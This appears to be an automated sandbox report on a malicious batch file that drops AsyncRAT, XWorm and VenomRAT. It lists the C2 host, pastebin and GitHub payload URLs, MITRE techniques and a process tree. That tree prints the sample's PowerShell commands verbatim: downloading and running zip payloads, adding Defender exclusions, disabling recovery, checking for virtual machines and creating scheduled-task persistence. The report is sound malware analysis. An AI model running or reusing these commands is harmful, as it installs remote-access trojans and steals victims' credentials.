asyncrat | 7944c6a800e3956afceb244e4b58d6368858879cef8d225c0c870646e29405d5

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22/01/2025, 17:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

.bat
Size

35KB
MD5

e0f14d8b4e040e347ac4c68fa65ab34d
SHA1

7792151bebcc851456faf92760e66e63fd9db8b8
SHA256

7944c6a800e3956afceb244e4b58d6368858879cef8d225c0c870646e29405d5
SHA512

cacaaef3f5184ed6a0c2f7655114dabeee7bf5e163d65a1758ba209ceeac97c5d79210fc0c6d1c98ff2ac9c1664ddbbde00f3587af1cc9983d0047a3c3205991
SSDEEP

768:x+R8e3f87iaNQeCOarasWNMb5yMqX/9MFRb:+3UdNQAarapE

Score

10^/10

asyncrat venomrat xworm default collection credential_access defense_evasion discovery execution persistence privilege_escalation rat spyware stealer trojan upx

Malware Config

Extracted

Family

asyncrat

Version

L838 RAT v1.0.0

Botnet

Default

127.0.0.1:54984

coinbasecrashout.ddns.net:54984

Mutex

jggjyaadwawdag

Attributes

delay
3
install
true
install_file
Windows Font Manager.exe
install_folder
%AppData%

aes.plain

Extracted

Family

xworm

https://pastebin.com/raw/rVJQPNVe:1135

Attributes

Install_directory
%Userprofile%
install_file
Windows Security Wrapper.exe
pastebin_url
https://pastebin.com/raw/rVJQPNVe

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0009000000023cb8-102.dat	family_xworm
behavioral2/memory/2652-156-0x0000000000A10000-0x0000000000A24000-memory.dmp	family_xworm

VenomRAT 2 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/files/0x0007000000023cc9-155.dat	VenomRAT
behavioral2/memory/4620-157-0x00000000004B0000-0x00000000004C8000-memory.dmp	VenomRAT

Venomrat family
venomrat
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0007000000023cc9-155.dat	family_asyncrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
15	1016	powershell.exe
18	1016	powershell.exe
22	4588	powershell.exe
23	4588	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4336	powershell.exe
1744	powershell.exe
4216	powershell.exe
1672	powershell.exe
724	powershell.exe
4760	powershell.exe
4472	powershell.exe
2212	powershell.exe
4588	powershell.exe
1016	powershell.exe
4012	powershell.exe
1056	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Windows Security Host.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	8JhMtrrR.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	Windows Driver Foundation.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2112	cmd.exe
1968	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Security Wrapper.lnk	Windows Driver Foundation.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Security Wrapper.lnk	Windows Driver Foundation.exe

Executes dropped EXE 8 IoCs

pid	Process
972	8JhMtrrR.exe
2652	Windows Driver Foundation.exe
4620	Windows Smart Scanner.exe
2528	Windows Security Host.exe
2460	Windows Security Host.exe
3400	rar.exe
4996	Windows Security Wrapper.exe
2384	Windows Security Wrapper.exe

Loads dropped DLL 17 IoCs

pid	Process
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe
2460	Windows Security Host.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 47 IoCs

Web Service

T1102

flow	ioc
60	discord.com
65	pastebin.com
69	pastebin.com
77	pastebin.com
79	pastebin.com
80	pastebin.com
98	pastebin.com
39	pastebin.com
106	pastebin.com
18	raw.githubusercontent.com
42	pastebin.com
59	discord.com
17	raw.githubusercontent.com
91	pastebin.com
93	pastebin.com
100	pastebin.com
103	pastebin.com
105	pastebin.com
108	pastebin.com
74	pastebin.com
81	pastebin.com
86	pastebin.com
101	pastebin.com
68	pastebin.com
63	pastebin.com
66	pastebin.com
97	pastebin.com
104	pastebin.com
23	raw.githubusercontent.com
76	pastebin.com
82	pastebin.com
92	pastebin.com
94	pastebin.com
75	pastebin.com
62	pastebin.com
64	pastebin.com
67	pastebin.com
70	pastebin.com
90	pastebin.com
99	pastebin.com
102	pastebin.com
56	pastebin.com
107	pastebin.com
78	pastebin.com
95	pastebin.com
96	pastebin.com
40	pastebin.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
32	ip-api.com
57	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\SysWOW64\Recovery\ReAgent.xml	ReAgentc.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
5020	tasklist.exe
8	tasklist.exe
1600	tasklist.exe
3608	tasklist.exe
1436	tasklist.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023d01-241.dat	upx
behavioral2/memory/2460-246-0x00007FF851B80000-0x00007FF852168000-memory.dmp	upx
behavioral2/files/0x0007000000023cd0-248.dat	upx
behavioral2/memory/2460-253-0x00007FF86FDB0000-0x00007FF86FDBF000-memory.dmp	upx
behavioral2/memory/2460-252-0x00007FF867300000-0x00007FF867324000-memory.dmp	upx
behavioral2/files/0x0007000000023cff-251.dat	upx
behavioral2/files/0x0007000000023cd3-273.dat	upx
behavioral2/memory/2460-275-0x00007FF867110000-0x00007FF86713D000-memory.dmp	upx
behavioral2/files/0x0007000000023ccf-276.dat	upx
behavioral2/memory/2460-279-0x00007FF866F80000-0x00007FF866F99000-memory.dmp	upx
behavioral2/files/0x0007000000023cd6-278.dat	upx
behavioral2/memory/2460-282-0x00007FF866F50000-0x00007FF866F73000-memory.dmp	upx
behavioral2/files/0x000300000001e04a-281.dat	upx
behavioral2/memory/2460-286-0x00007FF851A00000-0x00007FF851B73000-memory.dmp	upx
behavioral2/files/0x0007000000023cfe-293.dat	upx
behavioral2/files/0x0007000000023d00-297.dat	upx
behavioral2/memory/2460-300-0x00007FF851B80000-0x00007FF852168000-memory.dmp	upx
behavioral2/memory/2460-296-0x00007FF8668C0000-0x00007FF8668EE000-memory.dmp	upx
behavioral2/memory/2460-295-0x00007FF867550000-0x00007FF86755D000-memory.dmp	upx
behavioral2/memory/2460-294-0x00007FF866F00000-0x00007FF866F19000-memory.dmp	upx
behavioral2/files/0x0007000000023cd7-292.dat	upx
behavioral2/memory/2460-303-0x00007FF867300000-0x00007FF867324000-memory.dmp	upx
behavioral2/memory/2460-302-0x00007FF851940000-0x00007FF8519F8000-memory.dmp	upx
behavioral2/memory/2460-301-0x00007FF8515C0000-0x00007FF851935000-memory.dmp	upx
behavioral2/files/0x0007000000023cd2-305.dat	upx
behavioral2/memory/2460-309-0x00007FF8672F0000-0x00007FF8672FD000-memory.dmp	upx
behavioral2/files/0x0007000000023d05-311.dat	upx
behavioral2/memory/2460-312-0x00007FF851330000-0x00007FF85144C000-memory.dmp	upx
behavioral2/files/0x0007000000023cd4-308.dat	upx
behavioral2/memory/2460-307-0x00007FF8668A0000-0x00007FF8668B4000-memory.dmp	upx
behavioral2/files/0x000300000001e049-290.dat	upx
behavioral2/files/0x0007000000023cd5-288.dat	upx
behavioral2/memory/2460-349-0x00007FF866F50000-0x00007FF866F73000-memory.dmp	upx
behavioral2/memory/2460-373-0x00007FF851A00000-0x00007FF851B73000-memory.dmp	upx
behavioral2/memory/2460-402-0x00007FF8668C0000-0x00007FF8668EE000-memory.dmp	upx
behavioral2/memory/2460-401-0x00007FF866F00000-0x00007FF866F19000-memory.dmp	upx
behavioral2/memory/2460-453-0x00007FF851940000-0x00007FF8519F8000-memory.dmp	upx
behavioral2/memory/2460-452-0x00007FF8515C0000-0x00007FF851935000-memory.dmp	upx
behavioral2/memory/2460-458-0x00007FF867300000-0x00007FF867324000-memory.dmp	upx
behavioral2/memory/2460-463-0x00007FF851A00000-0x00007FF851B73000-memory.dmp	upx
behavioral2/memory/2460-457-0x00007FF851B80000-0x00007FF852168000-memory.dmp	upx
behavioral2/memory/2460-471-0x00007FF851330000-0x00007FF85144C000-memory.dmp	upx
behavioral2/memory/2460-502-0x00007FF8515C0000-0x00007FF851935000-memory.dmp	upx
behavioral2/memory/2460-516-0x00007FF8668C0000-0x00007FF8668EE000-memory.dmp	upx
behavioral2/memory/2460-515-0x00007FF867550000-0x00007FF86755D000-memory.dmp	upx
behavioral2/memory/2460-514-0x00007FF866F00000-0x00007FF866F19000-memory.dmp	upx
behavioral2/memory/2460-513-0x00007FF851A00000-0x00007FF851B73000-memory.dmp	upx
behavioral2/memory/2460-512-0x00007FF866F50000-0x00007FF866F73000-memory.dmp	upx
behavioral2/memory/2460-511-0x00007FF866F80000-0x00007FF866F99000-memory.dmp	upx
behavioral2/memory/2460-510-0x00007FF867110000-0x00007FF86713D000-memory.dmp	upx
behavioral2/memory/2460-509-0x00007FF867300000-0x00007FF867324000-memory.dmp	upx
behavioral2/memory/2460-508-0x00007FF86FDB0000-0x00007FF86FDBF000-memory.dmp	upx
behavioral2/memory/2460-507-0x00007FF851B80000-0x00007FF852168000-memory.dmp	upx
behavioral2/memory/2460-506-0x00007FF851330000-0x00007FF85144C000-memory.dmp	upx
behavioral2/memory/2460-505-0x00007FF8672F0000-0x00007FF8672FD000-memory.dmp	upx
behavioral2/memory/2460-504-0x00007FF8668A0000-0x00007FF8668B4000-memory.dmp	upx
behavioral2/memory/2460-503-0x00007FF851940000-0x00007FF8519F8000-memory.dmp	upx

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReAgentc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8JhMtrrR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3884	cmd.exe
1636	netsh.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
2732	timeout.exe
2272	timeout.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4524	WMIC.exe
3432	WMIC.exe
4992	WMIC.exe

Gathers system information 1 TTPs 2 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
208	systeminfo.exe
3780	systeminfo.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4728	schtasks.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
1016	powershell.exe
1016	powershell.exe
4216	powershell.exe
4216	powershell.exe
1056	powershell.exe
1056	powershell.exe
4472	powershell.exe
4012	powershell.exe
4472	powershell.exe
4012	powershell.exe
4588	powershell.exe
4588	powershell.exe
2212	powershell.exe
2212	powershell.exe
1672	powershell.exe
1672	powershell.exe
4336	powershell.exe
4336	powershell.exe
724	powershell.exe
724	powershell.exe
4336	powershell.exe
724	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
3804	powershell.exe
3804	powershell.exe
1968	powershell.exe
1968	powershell.exe
1968	powershell.exe
3804	powershell.exe
1744	powershell.exe
1744	powershell.exe
1008	powershell.exe
1008	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	456	WMIC.exe
Token: SeSecurityPrivilege	456	WMIC.exe
Token: SeTakeOwnershipPrivilege	456	WMIC.exe
Token: SeLoadDriverPrivilege	456	WMIC.exe
Token: SeSystemProfilePrivilege	456	WMIC.exe
Token: SeSystemtimePrivilege	456	WMIC.exe
Token: SeProfSingleProcessPrivilege	456	WMIC.exe
Token: SeIncBasePriorityPrivilege	456	WMIC.exe
Token: SeCreatePagefilePrivilege	456	WMIC.exe
Token: SeBackupPrivilege	456	WMIC.exe
Token: SeRestorePrivilege	456	WMIC.exe
Token: SeShutdownPrivilege	456	WMIC.exe
Token: SeDebugPrivilege	456	WMIC.exe
Token: SeSystemEnvironmentPrivilege	456	WMIC.exe
Token: SeRemoteShutdownPrivilege	456	WMIC.exe
Token: SeUndockPrivilege	456	WMIC.exe
Token: SeManageVolumePrivilege	456	WMIC.exe
Token: 33	456	WMIC.exe
Token: 34	456	WMIC.exe
Token: 35	456	WMIC.exe
Token: 36	456	WMIC.exe
Token: SeIncreaseQuotaPrivilege	456	WMIC.exe
Token: SeSecurityPrivilege	456	WMIC.exe
Token: SeTakeOwnershipPrivilege	456	WMIC.exe
Token: SeLoadDriverPrivilege	456	WMIC.exe
Token: SeSystemProfilePrivilege	456	WMIC.exe
Token: SeSystemtimePrivilege	456	WMIC.exe
Token: SeProfSingleProcessPrivilege	456	WMIC.exe
Token: SeIncBasePriorityPrivilege	456	WMIC.exe
Token: SeCreatePagefilePrivilege	456	WMIC.exe
Token: SeBackupPrivilege	456	WMIC.exe
Token: SeRestorePrivilege	456	WMIC.exe
Token: SeShutdownPrivilege	456	WMIC.exe
Token: SeDebugPrivilege	456	WMIC.exe
Token: SeSystemEnvironmentPrivilege	456	WMIC.exe
Token: SeRemoteShutdownPrivilege	456	WMIC.exe
Token: SeUndockPrivilege	456	WMIC.exe
Token: SeManageVolumePrivilege	456	WMIC.exe
Token: 33	456	WMIC.exe
Token: 34	456	WMIC.exe
Token: 35	456	WMIC.exe
Token: 36	456	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2756	WMIC.exe
Token: SeSecurityPrivilege	2756	WMIC.exe
Token: SeTakeOwnershipPrivilege	2756	WMIC.exe
Token: SeLoadDriverPrivilege	2756	WMIC.exe
Token: SeSystemProfilePrivilege	2756	WMIC.exe
Token: SeSystemtimePrivilege	2756	WMIC.exe
Token: SeProfSingleProcessPrivilege	2756	WMIC.exe
Token: SeIncBasePriorityPrivilege	2756	WMIC.exe
Token: SeCreatePagefilePrivilege	2756	WMIC.exe
Token: SeBackupPrivilege	2756	WMIC.exe
Token: SeRestorePrivilege	2756	WMIC.exe
Token: SeShutdownPrivilege	2756	WMIC.exe
Token: SeDebugPrivilege	2756	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2756	WMIC.exe
Token: SeRemoteShutdownPrivilege	2756	WMIC.exe
Token: SeUndockPrivilege	2756	WMIC.exe
Token: SeManageVolumePrivilege	2756	WMIC.exe
Token: 33	2756	WMIC.exe
Token: 34	2756	WMIC.exe
Token: 35	2756	WMIC.exe
Token: 36	2756	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2756	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4264 wrote to memory of 3952	4264	cmd.exe	83
PID 4264 wrote to memory of 3952	4264	cmd.exe	83
PID 3952 wrote to memory of 3756	3952	net.exe	84
PID 3952 wrote to memory of 3756	3952	net.exe	84
PID 4264 wrote to memory of 3724	4264	cmd.exe	85
PID 4264 wrote to memory of 3724	4264	cmd.exe	85
PID 3724 wrote to memory of 3720	3724	cmd.exe	86
PID 3724 wrote to memory of 3720	3724	cmd.exe	86
PID 4264 wrote to memory of 4856	4264	cmd.exe	87
PID 4264 wrote to memory of 4856	4264	cmd.exe	87
PID 4264 wrote to memory of 1644	4264	cmd.exe	88
PID 4264 wrote to memory of 1644	4264	cmd.exe	88
PID 4264 wrote to memory of 2572	4264	cmd.exe	89
PID 4264 wrote to memory of 2572	4264	cmd.exe	89
PID 4264 wrote to memory of 1472	4264	cmd.exe	90
PID 4264 wrote to memory of 1472	4264	cmd.exe	90
PID 4264 wrote to memory of 456	4264	cmd.exe	92
PID 4264 wrote to memory of 456	4264	cmd.exe	92
PID 4264 wrote to memory of 4452	4264	cmd.exe	93
PID 4264 wrote to memory of 4452	4264	cmd.exe	93
PID 4264 wrote to memory of 208	4264	cmd.exe	95
PID 4264 wrote to memory of 208	4264	cmd.exe	95
PID 4264 wrote to memory of 1936	4264	cmd.exe	96
PID 4264 wrote to memory of 1936	4264	cmd.exe	96
PID 4264 wrote to memory of 2756	4264	cmd.exe	98
PID 4264 wrote to memory of 2756	4264	cmd.exe	98
PID 4264 wrote to memory of 1200	4264	cmd.exe	99
PID 4264 wrote to memory of 1200	4264	cmd.exe	99
PID 4264 wrote to memory of 2616	4264	cmd.exe	100
PID 4264 wrote to memory of 2616	4264	cmd.exe	100
PID 4264 wrote to memory of 4052	4264	cmd.exe	101
PID 4264 wrote to memory of 4052	4264	cmd.exe	101
PID 4264 wrote to memory of 1632	4264	cmd.exe	102
PID 4264 wrote to memory of 1632	4264	cmd.exe	102
PID 4264 wrote to memory of 1016	4264	cmd.exe	103
PID 4264 wrote to memory of 1016	4264	cmd.exe	103
PID 4264 wrote to memory of 4216	4264	cmd.exe	104
PID 4264 wrote to memory of 4216	4264	cmd.exe	104
PID 4264 wrote to memory of 1080	4264	cmd.exe	107
PID 4264 wrote to memory of 1080	4264	cmd.exe	107
PID 4264 wrote to memory of 2272	4264	cmd.exe	108
PID 4264 wrote to memory of 2272	4264	cmd.exe	108
PID 1080 wrote to memory of 1056	1080	cmd.exe	110
PID 1080 wrote to memory of 1056	1080	cmd.exe	110
PID 4264 wrote to memory of 1492	4264	cmd.exe	111
PID 4264 wrote to memory of 1492	4264	cmd.exe	111
PID 1080 wrote to memory of 4472	1080	cmd.exe	113
PID 1080 wrote to memory of 4472	1080	cmd.exe	113
PID 1492 wrote to memory of 4012	1492	cmd.exe	114
PID 1492 wrote to memory of 4012	1492	cmd.exe	114
PID 1492 wrote to memory of 4588	1492	cmd.exe	115
PID 1492 wrote to memory of 4588	1492	cmd.exe	115
PID 1080 wrote to memory of 2212	1080	cmd.exe	116
PID 1080 wrote to memory of 2212	1080	cmd.exe	116
PID 1492 wrote to memory of 1284	1492	cmd.exe	121
PID 1492 wrote to memory of 1284	1492	cmd.exe	121
PID 1492 wrote to memory of 972	1492	cmd.exe	122
PID 1492 wrote to memory of 972	1492	cmd.exe	122
PID 1492 wrote to memory of 972	1492	cmd.exe	122
PID 1492 wrote to memory of 212	1492	cmd.exe	123
PID 1492 wrote to memory of 212	1492	cmd.exe	123
PID 972 wrote to memory of 1884	972	8JhMtrrR.exe	124
PID 972 wrote to memory of 1884	972	8JhMtrrR.exe	124
PID 972 wrote to memory of 1884	972	8JhMtrrR.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1632	attrib.exe
212	attrib.exe
1540	attrib.exe
1308	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4264
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c hostname
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\system32\HOSTNAME.EXE
    hostname
    3⤵
    PID:3720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Hgnbwbgw "
  2⤵
  PID:4856
- C:\Windows\system32\findstr.exe
  findstr /r /i ".*tria.*\.ge"
  2⤵
  PID:1644
- C:\Windows\system32\netsh.exe
  netsh interface show interface
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2572
- C:\Windows\system32\findstr.exe
  findstr /i "Triage"
  2⤵
  PID:1472
- C:\Windows\System32\Wbem\WMIC.exe
  wmic computersystem get model
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:456
- C:\Windows\system32\findstr.exe
  findstr /i "VirtualBox VMware Hyper-V KVM"
  2⤵
  PID:4452
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:208
- C:\Windows\system32\findstr.exe
  findstr /i "VirtualBox VMware Hyper-V"
  2⤵
  PID:1936
- C:\Windows\System32\Wbem\WMIC.exe
  wmic bios get serialnumber
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\system32\findstr.exe
  findstr /i "VBOX VMWARE"
  2⤵
  PID:1200
- C:\Windows\System32\Wbem\WMIC.exe
  wmic nic get name
  2⤵
  PID:2616
- C:\Windows\system32\findstr.exe
  findstr /i "Virtual"
  2⤵
  PID:4052
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\Anon" /s /d
  2⤵
  - Views/modifies file attributes
  PID:1632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -Command "try { Invoke-WebRequest 'https://github.com/H8bs0lfVZviVo3nSSXLzzzz/ksawdarsffsff/raw/refs/heads/main/jsxbjJkH.zip' -OutFile 'jsxbjJkH.zip' } catch { Write-Error 'Download failed with error: $_'; exit 1 }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -Command "Expand-Archive -Path 'jsxbjJkH.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Anon' -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Anon\2.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -window hidden -command ""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2212
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Anon\1.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -window hidden -command ""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Invoke-Webrequest 'https://github.com/H8bs0lfVZviVo3nSSXLzzzz/ksawdarsffsff/raw/refs/heads/main/8JhMtrrR.zip' -OutFile 8JhMtrrR.zip"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4588
- - C:\Windows\system32\tar.exe
    tar -xf 8JhMtrrR.zip
    3⤵
    PID:1284
- - C:\Users\Admin\AppData\Local\Anon\8JhMtrrR.exe
    8JhMtrrR.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:972
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\x64.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:1884
    - - C:\Windows\SysWOW64\net.exe
        
        net session
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2844
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2520
    - - C:\Windows\SysWOW64\ReAgentc.exe
        
        reagentc /disable
        5⤵
        Drops file in System32 directory
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3580
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\WindowsExecutables'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1672
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2732
  - - C:\Users\Admin\Windows Driver Foundation.exe
      "C:\Users\Admin\Windows Driver Foundation.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      PID:2652
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows Security Wrapper" /tr "C:\Users\Admin\Windows Security Wrapper.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4728
  - - C:\Users\Admin\Windows Smart Scanner.exe
      "C:\Users\Admin\Windows Smart Scanner.exe"
      4⤵
      Executes dropped EXE
      PID:4620
